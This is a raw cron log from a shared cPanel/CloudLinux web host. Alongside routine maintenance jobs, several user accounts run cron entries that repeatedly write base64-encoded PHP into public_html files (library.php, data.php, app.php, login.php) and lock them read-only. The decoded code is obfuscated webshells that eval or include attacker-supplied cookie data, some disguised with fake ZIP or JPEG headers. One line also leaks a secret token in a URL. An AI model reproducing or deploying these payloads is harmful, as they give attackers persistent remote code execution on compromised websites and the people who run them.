Mar  2 09:19:01 medusa CROND[8164]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:19:01 medusa CROND[8182]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 09:19:01 medusa CROND[8183]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 09:19:01 medusa CROND[8184]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:19:01 medusa CROND[8185]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:20:02 medusa CROND[25080]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 09:20:02 medusa CROND[25081]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 09:20:02 medusa CROND[25082]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 09:20:02 medusa CROND[25083]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 09:20:02 medusa CROND[25084]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 09:20:02 medusa CROND[25087]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 09:20:02 medusa CROND[25095]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:20:02 medusa CROND[25103]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 09:20:02 medusa CROND[25104]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 09:20:02 medusa CROND[25102]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 09:20:02 medusa CROND[25097]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 09:20:02 medusa CROND[25108]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 09:20:02 medusa CROND[25106]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  2 09:20:02 medusa CROND[25107]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 09:20:02 medusa CROND[25100]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 09:20:02 medusa CROND[25112]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 09:20:02 medusa CROND[25121]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 09:20:02 medusa CROND[25124]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:20:02 medusa CROND[25093]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 09:20:02 medusa CROND[25130]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:20:02 medusa CROND[25101]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 09:20:02 medusa CROND[25131]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 09:20:02 medusa CROND[25142]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  2 09:20:02 medusa CROND[25148]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 09:20:02 medusa CROND[25110]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 09:20:02 medusa CROND[25152]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 09:20:02 medusa CROND[25155]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:20:02 medusa CROND[25127]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 09:20:02 medusa CROND[25141]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 09:20:02 medusa CROND[25143]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 09:21:01 medusa CROND[7312]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 09:21:01 medusa CROND[7313]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:21:01 medusa CROND[7314]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 09:21:01 medusa CROND[7317]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
